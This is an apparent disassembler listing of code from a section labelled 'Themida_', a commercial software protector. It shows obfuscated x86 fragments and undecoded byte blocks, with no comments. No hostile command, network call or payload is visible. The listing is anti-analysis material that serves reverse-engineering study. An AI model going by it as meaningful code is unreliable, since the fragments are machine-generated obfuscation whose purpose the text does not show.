mov ebx, 5AF039E3h
and ebx, 13C678BEh
sub ebx, 0EAC72E72h
jmp loc_55A5E3
; ---------------------------------------------------------------------------
dd 0E9A7C580h, 0FFFEF829h, 8018C280h, 0A6E913C4h, 80FFFFF5h
dd 0C380AFC3h, 3C22E971h, 0E95FFFFFh, 5F4h
; ---------------------------------------------------------------------------
loc_563E78: ; CODE XREF: Themida_:00554C4Cj
pop edi
add edi, 4
jmp loc_557ACA
; ---------------------------------------------------------------------------
loc_563E84: ; CODE XREF: Themida_:0055BE4Bj
xor ecx, [esp]
mov esp, [esp]
mov ecx, [esp]
push 3381h
mov [esp], edx
push esp
jmp loc_556580
; ---------------------------------------------------------------------------
loc_563E9B: ; CODE XREF: Themida_:005527F2j
push dword ptr [esp]
jmp loc_56178C
; ---------------------------------------------------------------------------
db 8Bh
dd 4302424h, 68E99C24h, 89FFFEC0h, 0EA68240Ch, 8B472564h
dd 0C483240Ch, 0E9D9F704h, 0FFFF3B12h, 15DEB29h, 115BE9FBh
dd 0ED810000h, 21799112h, 15DEB01h, 0F09CE9C3h, 0E952FFFFh
dd 0FFFF21B7h, 8704EF83h, 248B243Ch, 48F5424h, 3861E924h
dd 74FFFFFFh, 8F5E0424h, 895C2404h, 0EC83242Ch, 814E904h
dd 0F5810000h, 2F4C5A19h, 555DEE21h, 581BB5BDh, 0F1ED8104h
dd 2948B787h, 4055DEEh, 0E911B269h, 0FFFEF9FBh
; ---------------------------------------------------------------------------
loc_563F2C: ; CODE XREF: Themida_:0055D9D7j
push ebp
mov ebp, esp
jmp loc_563B18
; ---------------------------------------------------------------------------
dd 4F0EF181h, 0E1812515h, 2FE83CB5h, 7FC98141h, 412A9F14h
dd 1484F181h, 0CF012B9Fh, 4C78359h, 0FEF526E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563F59: ; CODE XREF: Themida_:0055DF78j
xchg ebp, [esp]
pop esp
push 1FA3h
mov [esp], ebp
mov ebp, 12BE27DAh
jmp loc_55EA4D
; ---------------------------------------------------------------------------
db 21h
dd 0D31DE9E9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563F76: ; CODE XREF: Themida_:0055C67Fj
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], eax
push esp
mov eax, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], ecx
push edi
jmp loc_56229A
; ---------------------------------------------------------------------------
dd 19F8BF57h, 0CF815EC2h, 0BEC216Bh, 0C1E7D147h, 0C78106E7h
dd 2F3331FBh, 5760EF81h, 90E94F0Fh, 1FFFFC1h, 42D5DE8h
dd 87000000h, 895C2404h, 2682414h, 0E9000000h, 0FFFF747Fh
dd 0E9243C8Bh, 0FFFF5E5Eh, 81E78957h, 4C7h, 4C78100h, 87000000h
dd 815C243Ch, 0C42AEBC9h, 0D336E92Bh, 0E05FFFEh, 15A2667h
dd 670E2DF8h, 875F5A26h, 815C2404h, 4C7h, 243C8700h, 0C8AF0F5Ch
dd 0E0E99C51h
db 0BEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_564037: ; CODE XREF: Themida_:00560EE9j
push ecx
push 226F45F5h
pop ecx
push esi
mov esi, 3E802ECh
and ecx, esi
pop esi
push eax
mov eax, 3E57694Fh
jmp loc_559DEF
; ---------------------------------------------------------------------------
loc_564052: ; CODE XREF: Themida_:005639C0j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_564119
; ---------------------------------------------------------------------------
dd 0E9241489h, 0FFFFD4FFh
; ---------------------------------------------------------------------------
loc_564068: ; CODE XREF: Themida_:005510BCj
pop esi
jmp loc_56156E
; ---------------------------------------------------------------------------
loc_56406E: ; CODE XREF: Themida_:00562D79j
sub dword ptr [esp], 12C11F22h
pop edx
push edi
mov edi, 0D415EA3h
add edi, 2D4F0B91h
dec edi
push ecx
mov ecx, 41370414h
or edi, ecx
pop ecx
shl edi, 4
sub edi, 6A04A962h
jmp loc_550FC5
; ---------------------------------------------------------------------------
loc_56409A: ; CODE XREF: Themida_:0055A396j
xor ecx, [esp]
xor [esp], ecx
jmp loc_55B460
; ---------------------------------------------------------------------------
loc_5640A5: ; CODE XREF: Themida_:0055624Fj
push edx
mov edx, 141A1B62h
and edx, 4E753F9Bh
sub edx, 360A6CD7h
xor edx, 2718177Bh
xor edx, 14274CF0h
not edx
sub edx, 2C50A5Bh
add ebp, edx
pop edx
jmp loc_56112D
; ---------------------------------------------------------------------------
loc_5640D3: ; CODE XREF: Themida_:005608D9j
mov ecx, [esp]
add esp, 4
push esi
jmp loc_564CD8
; ---------------------------------------------------------------------------
dw 0BA52h
dd 3065FB6h, 9581E942h, 0A4B8FFFFh, 310109EBh, 0DA0158C3h
dd 0FEC5CFE9h, 6B61BEFFh, 0FCE93485h
db 29h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564107: ; CODE XREF: Themida_:005569DEj
xor edx, 3AB726D2h
add esi, edx
pop edx
xchg esi, [esp]
pop esp
jmp loc_554E0C
; ---------------------------------------------------------------------------
loc_564119: ; CODE XREF: Themida_:0056405Bj
mov [esp], ebx
push dword ptr [esp]
jmp loc_550787
; ---------------------------------------------------------------------------
loc_564124: ; CODE XREF: Themida_:00553168j
sub esp, 4
mov [esp], ebx
jmp loc_55242E
; ---------------------------------------------------------------------------
db 0BEh
dd 3A45345Ch, 0FFF031E9h, 5AD731FFh, 160CEF81h, 0F829D57Bh
dd 0B850565Fh, 7E66489h, 2958C689h, 132D5EF0h, 0E9207B6Bh
dd 0FFFFA7EBh, 1C3BD55h, 0E98900DEh, 58C1315Dh, 56E9CE89h
dd 2DFFFFA0h, 4BFC9E3Dh, 2958C601h, 707E9D6h, 0C481FFFFh
dd 4, 5A80CD81h, 8145667Ah, 484E9AE5h, 32F3E96Bh, 3C89FFFFh
dd 6D696824h, 3C8B4896h, 4C48324h, 0A5E9DFF7h, 89FFFF02h
dd 5B54241Ch, 4C381h, 0EC830000h, 0E527E904h, 0CD89FFFEh
dd 0FF3D1BE9h
db 0FFh
byte_5641C5 db 0FFh, 77h, 3Ch ; DATA XREF: Themida_:0054FD3Co
dd 0FFB577E9h, 4C481FFh, 50000000h, 2B8h, 8BEE8100h, 106185Eh
dd 8BC681C6h, 8B06185Eh, 0AE92404h, 81FFFF8Eh, 192D65E9h
dd 58E95372h, 83FFFFB5h, 0BB5304C4h, 269D448Eh, 15BD801h
dd 0A1E952C8h, 0D0FFFF72h, 96CA80E2h, 0F280CAFEh, 0D509E9DCh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56421E: ; CODE XREF: Themida_:0055E558j
pop eax
jmp loc_55FBF6
; ---------------------------------------------------------------------------
dd 5366C8FEh, 61E9FAB3h, 56FFFFFBh, 0FFF478E9h, 0EC8152FFh
dd 4, 0B8240489h, 751955D3h, 6BDB68h, 0CF46E900h, 515AFFFFh
dd 0C181E189h, 4, 5104C183h, 42474FFh, 24048F59h, 241C875Ch
dd 0FFCBA1E9h, 43E95DFFh
db 90h, 2 dup(0FFh)
byte_564273 db 68h ; DATA XREF: Themida_:0054FD68o
dd 3013h, 0FFEDD4E9h, 45C1BAFFh, 0E2C16249h, 84F28107h
dd 0E924A2E0h, 0FFFF4BE5h, 26D1BF57h, 834F0C22h, 3C8904ECh
dd 2404FF24h, 0FF1ED5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5642A5: ; CODE XREF: Themida_:005628EAj
push esi
jmp loc_55D5B1
; ---------------------------------------------------------------------------
db 0F7h
dd 6A02E9D5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5642B2: ; CODE XREF: Themida_:0055A288j
sub esi, ebp
pop ebp
xchg esi, [esp]
pop esp
mov [esp], ebp
jmp loc_55ADE3
; ---------------------------------------------------------------------------
db 89h, 0E0h, 5
dd 4, 405h, 24048700h, 0E924248Bh, 0FFFFEDAAh
; ---------------------------------------------------------------------------
loc_5642D8: ; CODE XREF: Themida_:00562B8Dj
mov esp, [esp]
jmp loc_556686
; ---------------------------------------------------------------------------
loc_5642E0: ; CODE XREF: Themida_:0055CC72j
add edx, esi
pop esi
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_55C014
; ---------------------------------------------------------------------------
dd 0F8E9FE01h
db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5642FB: ; CODE XREF: Themida_:00556E21j
not esi
xchg esi, [esp]
loc_564300: ; DATA XREF: Themida_:0053E5E4o
pop edi
sub edi, 25EADE7Fh
mov esi, edi
mov edi, [esp]
push edi
jmp loc_55D082
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 0E6895624h, 4C681h, 0C6810000h, 4, 0FED983E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564329: ; CODE XREF: Themida_:00557114j
xor eax, [esp]
mov esp, [esp]
shr edx, 8
jmp loc_564A8A
; ---------------------------------------------------------------------------
db 81h
dd 0D004246Ch, 5D07EE03h, 8B2434FFh, 0C4832404h, 4C48304h
dd 405h, 9EBF5700h, 0E95F722Fh, 0FFFEC60Ch, 8124248Bh
dd 4C4h, 0C496E900h, 3C89FFFEh, 23FBF24h, 4F2D5CCDh, 0E97EAA22h
dd 0FFFFB368h, 2EDC145h, 0FF7F14E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564385: ; CODE XREF: Themida_:0055711Ej
pop ecx
sub [esp+8], edi
pop edi
jmp loc_554C37
; ---------------------------------------------------------------------------
dd 5F17EB81h, 0C3813B5Ah, 68764C6Eh, 2EA2ED81h, 0DD012E26h
dd 52C1BA52h, 4A4A61D7h, 0C0FF281h, 0F2813752h, 78A37012h
dd 79E9D501h, 0BAFFFF90h, 784A344Dh, 7571F281h, 0E2C12E45h
dd 76C28103h, 0F7298F54h, 2BF281DAh, 8913DAFBh, 7EE95AD1h
dd 66FFFF56h, 0E9240489h, 0FFFF87BFh
; ---------------------------------------------------------------------------
loc_5643EC: ; CODE XREF: Themida_:0056382Ej
add esp, 4
push 18BEh
mov [esp], edx
push ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
jmp loc_563C71
; ---------------------------------------------------------------------------
loc_56441D: ; CODE XREF: Themida_:0055D17Aj
add ebx, edi
jmp loc_564ED8
; ---------------------------------------------------------------------------
dd 1E3BA52h, 1CE9375Ah, 54FFFF91h, 0D037E95Ah, 0E95AFFFFh
dd 0FFFF2E9Dh
; ---------------------------------------------------------------------------
loc_56443C: ; CODE XREF: Themida_:005506E7j
mov ebx, 9233B9B2h
sub edi, ebx
pop ebx
jmp loc_55C9C4
; ---------------------------------------------------------------------------
db 5Ch, 89h, 14h
dd 43B45024h, 0FF517AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564455: ; CODE XREF: Themida_:00558ADCj
pop esp
add ecx, edx
pop edx
jmp loc_551B35
; ---------------------------------------------------------------------------
dw 0F800h
dd 83241C8Bh, 0E95304C4h, 0FFFFB9AFh, 41B7B850h, 0D8F7199Fh
dd 0FFE0EAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564479: ; CODE XREF: Themida_:0055659Ej
push esi
jmp loc_555B42
; ---------------------------------------------------------------------------
loc_56447F: ; CODE XREF: Themida_:00552A43j
pop esp
add ebp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push esi
push 1EC6h
jmp loc_55D6BA
; ---------------------------------------------------------------------------
db 0B9h
dd 371D2CF3h, 8141D1F7h, 6342A0E1h, 63D5E939h, 44E9FFFFh
dd 81FFFEBAh, 781F0FC7h, 8924E936h, 835AFFFFh, 0A66804C7h
dd 89000024h, 74FF243Ch, 3C8B0424h, 4C48124h, 8F000000h
dd 0E95C2404h, 0FFFEBA17h
; ---------------------------------------------------------------------------
loc_564500: ; CODE XREF: Themida_:00551E5Ej
mov ebp, esi
pop esi
sub esi, ebp
pop ebp
sub esi, edi
add esi, 66452CE0h
push edx
mov edx, 11DD693Eh
inc edx
inc edx
sub edx, 0A06927BAh
sub esi, edx
pop edx
jmp loc_5628E9
; ---------------------------------------------------------------------------
dd 0EB81C301h, 22CC3362h, 6295EB81h, 5551473Bh, 8811E5BDh
dd 9752E925h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56453E: ; CODE XREF: Themida_:00562310j
add esi, edi
sub esi, 725E4CA5h
sub esi, 1FA63552h
jmp loc_56324C
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 0FFCADFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564559: ; CODE XREF: Themida_:0055658Aj
push eax
push esi
mov esi, 17C00B33h
push esi
mov esi, 5D107531h
mov eax, 0F44C15A3h
add eax, esi
jmp loc_550D57
; ---------------------------------------------------------------------------
loc_564572: ; CODE XREF: Themida_:00555CCBj
push esp
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 4E51783h
neg ebp
sub ebp, 0FB1AE879h
add eax, ebp
pop ebp
push 50DBh
mov [esp], edx
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp]
jmp loc_55161F
; ---------------------------------------------------------------------------
db 80h, 0F4h, 0A1h
dd 5BE9E328h, 1FFFFB9h, 0F1EB81F3h, 81121805h, 0E36AADEBh
dd 2434FF71h, 4C4835Eh, 3BE268h, 242C8900h, 2BDh, 4FC38100h
dd 135FB46h, 4FEB81EBh, 0E935FB46h, 0FFFEF958h
; ---------------------------------------------------------------------------
loc_5645E4: ; CODE XREF: Themida_:00558558j
add esp, 4
sub esp, 4
mov [esp], ebx
push 6379h
mov [esp], eax
push 3239136Ch
mov eax, [esp]
jmp loc_55ABC0
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 8B2434FFh, 0C483241Ch, 4C48104h, 58000000h, 224D3A2Dh
dd 5D82974h, 74224D3Ah, 0E92434FFh, 0FFFEC86Ch
; ---------------------------------------------------------------------------
loc_56462C: ; CODE XREF: Themida_:00554E12j
shl ch, 8
xor ch, 0F7h
mov dl, ch
mov ecx, [esp]
add esp, 4
xor al, dl
jmp loc_55DA56
; ---------------------------------------------------------------------------
dd 0A81BD1BAh, 0BF6FE949h, 0C683FFFEh, 24348704h, 10E95E5Ch
dd 5CFFFEFDh, 88DE8852h, 1C8B5AF5h, 4C48324h, 0E924048Bh
dd 0FFFF15E5h, 81241C89h, 4ECh, 24248900h, 4240481h, 5B000000h
dd 37D768h, 243C8900h, 0FF8D53E9h, 4E7868FFh, 34890000h
dd 11BF5724h, 89431233h, 0A9E95FFEh
db 78h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5646A7: ; CODE XREF: Themida_:00559B2Fj
jnz loc_561A8E
push edx
push ebp
mov ebp, esp
push edi
mov edi, 63F26A96h
shr edi, 8
shr edi, 2
xor edi, 359A240Dh
xor edi, 3582D893h
add ebp, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_55CBB0
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0BFBF5700h, 517DC248h, 0FEE5C6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5646E9: ; CODE XREF: Themida_:0055CB52j
mov esi, ebx
jmp loc_56482F
; ---------------------------------------------------------------------------
loc_5646F0: ; CODE XREF: Themida_:00561B08j
sub bl, al
sub bl, 0C8h
push eax
jmp loc_555653
; ---------------------------------------------------------------------------
db 31h
dd 0D6015DEAh, 0BBBF575Ah, 4F592170h, 70BEF781h, 0FE015921h
dd 83243C8Bh, 348704C4h, 0D985E924h, 1489FFFEh, 275EBA24h
dd 9E978A8h, 89FFFFE8h, 4C781E7h, 81000000h, 4EFh, 243C8700h
dd 2434895Ch, 663168h, 24048900h, 9B6388B8h, 98C0D0Dh
dd 0E8C11E6Bh, 0DB5D3505h, 0DEE900FFh
db 0E6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56475F: ; CODE XREF: Themida_:0055A6F3j
add eax, esi
pop esi
push edx
push ebp
mov ebp, 222F31A2h
jmp loc_5578B5
; ---------------------------------------------------------------------------
dw 535Ah
dd 0FF140DE9h, 5AEB81FFh, 0E92E4663h, 0FFFF903Ch, 8B2434FFh
dd 0C4832404h, 4C48304h, 4D43E955h, 34FFFFFFh, 0C4835824h
dd 2434FF04h, 38186858h, 3C890000h, 0E9545024h, 0FFFF1C99h
dd 8304E9C1h, 2C8904ECh, 857BD24h, 0C7687C9Dh, 8900001Fh
dd 0A68243Ch, 8B059402h, 0C483243Ch, 0E9FD0904h, 0FFFF37A4h
dd 0E9242C31h, 0FFFFD70Ah, 0C106E0C1h, 0EC8304E0h, 241C8904h
dd 0FF1757E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5647ED: ; CODE XREF: Themida_:0055FFB1j
pop edi
add edx, eax
mov eax, [esp]
add esp, 4
add edx, eax
jmp loc_550C23
; ---------------------------------------------------------------------------
db 0F7h, 0D0h, 56h
dd 144C9FBEh, 53DEF73Ch, 157408BBh, 0E9D3F76Eh, 0FFFF61FFh
; ---------------------------------------------------------------------------
loc_564814: ; CODE XREF: Themida_:005634F4j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_55D42C
; ---------------------------------------------------------------------------
db 87h
dd 0FE9240Ch
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56482F: ; CODE XREF: Themida_:005646EBj
mov ebx, [esp]
add esp, 4
push edx
push edi
jmp loc_55D738
; ---------------------------------------------------------------------------
loc_56483F: ; CODE XREF: Themida_:005500AFj
push 4AEBh
mov [esp], edx
mov dh, bh
push ecx
push eax
mov ah, dh
push edx
mov dh, ah
jmp loc_55F046
; ---------------------------------------------------------------------------
loc_564855: ; CODE XREF: Themida_:0055455Fj
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], eax
push esp
mov eax, [esp]
sub esp, 4
jmp loc_55D338
; ---------------------------------------------------------------------------
loc_564871: ; CODE XREF: Themida_:005570FFj
sub ebx, 3CD941EBh
xor esi, ebx
mov ebx, [esp]
add esp, 4
and eax, esi
pop esi
or eax, eax
jmp loc_553AFA
; ---------------------------------------------------------------------------
db 5Ah, 0E9h, 72h
dd 66FFFFC7h, 66C8B60Fh, 7CE99C51h, 81FFFEB6h, 715474F6h
dd 0DBE9465Dh, 53FFFF78h, 0FFF4EAE9h
db 0FFh
byte_5648AD db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FC78o
dd 4EC8324h, 0FF340EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5648B9: ; CODE XREF: Themida_:005586F9j
mov ebp, esp
push ecx
mov ecx, 298A0FEFh
inc ecx
shl ecx, 6
push ebx
jmp loc_55A04F
; ---------------------------------------------------------------------------
db 0C1h
dd 0D3F704E3h, 4087F381h, 0F3814601h, 39C312DEh, 895BDD29h
dd 0C2015DEAh, 1FCD6858h, 4890000h, 0FFFFB824h, 0C201FFFFh
dd 8324048Bh, 246804C4h, 89000070h, 92E9242Ch
db 0E3h, 0FEh, 0FFh
byte_564907 db 66h ; DATA XREF: Themida_:0054FD30o
dd 663EC768h, 51241C89h, 5350C588h, 8852EF88h, 5AF488FEh
dd 0FF3D21E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564921: ; CODE XREF: Themida_:00552971j
add ebx, edi
add ebx, 4E973EB2h
jmp loc_55D142
; ---------------------------------------------------------------------------
loc_56492E: ; CODE XREF: Themida_:00564EECj
inc edi
push ebp
mov ebp, 75226F2Ah
jmp loc_55FE41
; ---------------------------------------------------------------------------
dw 0C281h
dd 6931034Dh, 784BC281h, 0DA01011Fh, 784BEA81h, 0EA81011Fh
dd 6931034Dh, 2414875Bh, 6824248Bh, 2391h, 89240C89h, 4C181E1h
dd 83000000h, 0C8704C1h, 0CC74E924h, 74FFFFFFh, 0F7E90424h
dd 29FFFFCCh, 242C8BE9h, 104C483h, 0D50159CDh, 703FED81h
dd 0E95A1C1Fh, 0FFFF5A83h
; ---------------------------------------------------------------------------
loc_564998: ; CODE XREF: Themida_:0055558Dj
xchg eax, esi
jmp loc_558E84
; ---------------------------------------------------------------------------
dw 0D5F6h
dd 0C8BEF88h, 4C48324h, 0FEBEC8E9h, 0FFF031FFh, 525E2434h
dd 0BE56E289h, 4, 835EF201h, 148704C2h, 24248B24h, 4EC81h
dd 2C890000h, 109BBD24h, 0ED814BB0h, 5AD545FCh, 8107E5C1h
dd 965F70CDh, 45CD812Bh, 8113356Ch, 53A721C5h, 8BEB01B1h
dd 0C483242Ch, 26C38104h, 2927313Ch, 26EB81C3h, 5727313Ch
dd 2716BE56h, 8950314Bh, 0E9C789F0h, 0FFFFC003h, 0D6E9F189h
dd 0DFFFFDEh, 69C75E29h, 5707E8C1h, 7C5F25BFh, 0E9F80971h
dd 0FFFFC1D4h, 4307EBC1h, 739DE381h, 0F3812743h, 46CC5B04h
dd 0FFE256E9h, 4EF83FFh, 8B243C87h, 54E92424h
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564A57: ; CODE XREF: Themida_:0055CB15j
add ecx, 4
jmp loc_552E9C
; ---------------------------------------------------------------------------
dw 0B3BFh
dd 0E931195Ch, 0FFFF42CAh, 4BF57h, 0F9010000h, 81243C8Bh
dd 4C4h, 240C8700h, 3124248Bh, 874CE9F0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564A8A: ; CODE XREF: Themida_:00564332j
not edx
shl edx, 1
jmp loc_558B89
; ---------------------------------------------------------------------------
db 0BFh
dd 4, 0FFF575E9h
db 0FFh
byte_564A9D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FC50o
dd 0EC815124h, 4, 0FF7D39E9h, 5EF229FFh, 31241433h, 14332414h
dd 0C895C24h, 0B455E924h, 0B353FFFEh, 8BD988B2h, 0C483241Ch
dd 66CA0004h, 0F244E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564AD6: ; CODE XREF: Themida_:00552CD9j
xor ebx, 43734375h
sub ebx, 0E9D2DDCh
jmp loc_5530C9
; ---------------------------------------------------------------------------
loc_564AE7: ; CODE XREF: Themida_:0055346Ej
mov ebp, esp
jmp loc_550973
; ---------------------------------------------------------------------------
loc_564AEE: ; CODE XREF: Themida_:0055ED86j
mov [esp], ecx
jmp loc_551807
; ---------------------------------------------------------------------------
dw 1C31h
dd 241C3324h, 8B24248Bh, 2682404h, 8900004Ah, 0E6892434h
dd 5E08950h, 4, 0FFE1A0E9h, 0E95D58FFh, 17Ah, 148BF708h
dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 33B0505Ch
dd 2004642Ch, 0C8FEF32Ch, 0C728442Ch, 1CE95058h, 29FFFEE3h
dd 0FFD089C2h, 835A2434h, 7E0504C4h, 812274D9h, 0F92E06EBh
dd 0E9C3290Dh, 0FFFEFD12h
; ---------------------------------------------------------------------------
loc_564B68: ; CODE XREF: Themida_:0055F09Fj
mov [esp], eax
push ebx
jmp loc_55CF2F
; ---------------------------------------------------------------------------
loc_564B71: ; CODE XREF: Themida_:0055FA53j
push 4489h
mov [esp], edx
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_558780
; ---------------------------------------------------------------------------
loc_564B85: ; CODE XREF: Themida_:0055E7F3j
xor dl, 4Ch
sub dl, 48h
jmp loc_55D43E
; ---------------------------------------------------------------------------
loc_564B90: ; CODE XREF: Themida_:0055280Fj
xchg ebx, [esp]
jmp loc_550590
; ---------------------------------------------------------------------------
dd 4C281h, 89560000h, 4C681E6h, 81000000h, 4EEh, 24348700h
dd 240C895Ch, 4038BB53h, 0F0E95613h
db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_564BBF: ; CODE XREF: Themida_:0055FD78j
mov eax, [esp]
add esp, 4
jmp loc_55EF6A
; ---------------------------------------------------------------------------
db 5Dh, 5Bh, 0E9h
dd 0FFFF94E2h, 0E9243489h, 0FFFF6B75h
; ---------------------------------------------------------------------------
loc_564BDC: ; CODE XREF: Themida_:005562B3j
mov edx, 4
add esi, edx
jmp loc_565320
; ---------------------------------------------------------------------------
dd 2404875Bh, 1D39E95Ch, 0C281FFFFh, 4, 0FEEEC8E9h, 0E9DE89FFh
dd 0FFFECF59h, 8B241433h, 3CD32424h, 4E99C24h, 81FFFEB3h
dd 4ECh, 243C8900h, 441C68BFh, 0EF814763h, 9F70FE82h, 51EAE981h
dd 0F92939BCh, 51EAC181h, 0E95F39BCh, 0FFFFB996h, 348BF501h
dd 0E0B5E924h, 0C89FFFEh, 4B85024h, 56000000h, 0F189C689h
dd 8124348Bh, 4C4h, 24048B00h, 4C481h, 0D0E90000h, 80FFFFA1h
dd 0EF8042C7h, 50CF002Fh, 61E9A5B4h, 2DFFFF54h, 6BC64850h
dd 5005F829h, 5F6BC648h, 0FFEDD5E9h
db 0FFh
byte_564C8D db 8Fh, 2, 0E9h ; DATA XREF: Themida_:0054FCFCo
dd 0FFFEB283h
; ---------------------------------------------------------------------------
loc_564C94: ; CODE XREF: Themida_:0055D288j
pop ebp
jmp loc_556D90
; ---------------------------------------------------------------------------
dw 0D0F7h
dd 6FB5972Dh, 6999E972h, 6857FFFFh, 200654BFh, 87F7815Fh
dd 89F010F8h, 7AE95FFEh
db 4Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564CBB: ; CODE XREF: Themida_:0055FBF1j
xor dl, 0B4h
and dl, 2
jmp loc_561AFF
; ---------------------------------------------------------------------------
dw 15Ah
dd 72C681FEh, 5F17AB05h, 0E92434FFh, 0FFFF1BD6h
; ---------------------------------------------------------------------------
loc_564CD8: ; CODE XREF: Themida_:005640DDj
push ebx
push edx
push 0C1A060Ah
mov edx, [esp]
jmp loc_550C2E
; ---------------------------------------------------------------------------
db 0BDh
dd 4, 795CBD55h, 7AE91BD4h, 88FFFF5Eh, 5AF088DEh, 0FFC96BE9h
dd 0C181FFh, 0FF414C0Ch, 0E95D2434h, 0FFFF5354h, 405h
dd 42D00h, 4330000h, 9CFDE924h, 3368FFFFh, 89000026h, 0E6892434h
dd 0C5D68h, 0E94CE900h, 0E987FFFFh, 3A58BB53h, 0D9312637h
dd 0E9241C8Bh, 0FFFEDD3Eh, 83241C89h, 48904ECh, 6B77B824h
dd 8FE94C20h
db 0Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564D5B: ; CODE XREF: Themida_:0055544Bj
push 72F9h
mov [esp], ebx
mov bh, cl
mov al, bh
pop ebx
mov ecx, [esp]
jmp loc_55FCB7
; ---------------------------------------------------------------------------
dd 4C481h, 0BB530000h, 19DB431Fh, 0E087EB81h, 0DE21C86Ch
dd 3E6C15Bh, 10C2F681h, 0BF578950h, 751D30AEh, 1063CF81h
dd 7EE91E4Ah, 89FFFEF3h, 0F1BB241Ch, 4B5DA56Ch, 6246BF57h
dd 0E7811299h, 70E46B26h, 5702EFC1h, 5F241CF7h, 240CFF57h
dd 0DEF815Fh, 8149B36Fh, 0EB6196F7h, 5FFB29CFh, 0FFB408E9h
dd 5DE801FFh, 0FEBCD0E9h, 585450FFh, 4BD55h, 0E8010000h
dd 0FFAC9CE9h, 876BEFFh, 0E9504566h, 0FFFF90F8h, 22E0C981h
dd 0E9816C1Ch, 1FE1984Eh, 2D59C829h, 66F04C23h, 0E924148Bh
dd 0FFFFB796h, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch
dd 0E9592434h, 0FFFFEFF0h
; ---------------------------------------------------------------------------
loc_564E30: ; CODE XREF: Themida_:0055490Cj
mov eax, esi
pop esi
xchg eax, edi
jmp loc_553E7B
; ---------------------------------------------------------------------------
db 0BAh, 4, 0
dd 37680000h, 8900004Eh, 0BDBF243Ch, 2931782Bh, 0D3015FFBh
dd 2BBDC381h, 34FF3178h, 24148B24h, 4C481h, 0E9530000h
dd 0FFFF351Bh
; ---------------------------------------------------------------------------
loc_564E68: ; CODE XREF: Themida_:00562939j
add esp, 4
push 5789h
mov [esp], ecx
push esp
pop ecx
push edi
mov edi, 4
add ecx, edi
mov edi, [esp]
add esp, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
push edx
push 7C233E45h
pop edx
jmp loc_55F47B
; ---------------------------------------------------------------------------
db 0C1h
dd 0B85006EFh, 78283E35h, 18E9E8D1h
db 5Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564EAF: ; CODE XREF: Themida_:00552848j
shr ebp, 8
shl ebp, 7
xor ebp, 530647DAh
neg ebp
shr ebp, 2
jmp loc_55576B
; ---------------------------------------------------------------------------
db 8Bh, 3Ch, 24h
dd 4C481h, 0D8E90000h, 0E9FFFEE0h, 0FFFEB03Fh
; ---------------------------------------------------------------------------
loc_564ED8: ; CODE XREF: Themida_:0056441Fj
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_55DC69
; ---------------------------------------------------------------------------
dd 0DEE95456h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564EEB: ; CODE XREF: Themida_:00554154j
pop edx
jmp loc_56492E
; ---------------------------------------------------------------------------
db 42h, 68h, 8Fh
dd 89000014h, 0E9552434h, 0FFFED762h
; ---------------------------------------------------------------------------
loc_564F00: ; CODE XREF: Themida_:00562A83j
sub ecx, edx
sub ecx, 7AF64467h
pop edx
xor ecx, [esp]
jmp loc_55967D
; ---------------------------------------------------------------------------
db 5Fh, 0F7h, 0D7h
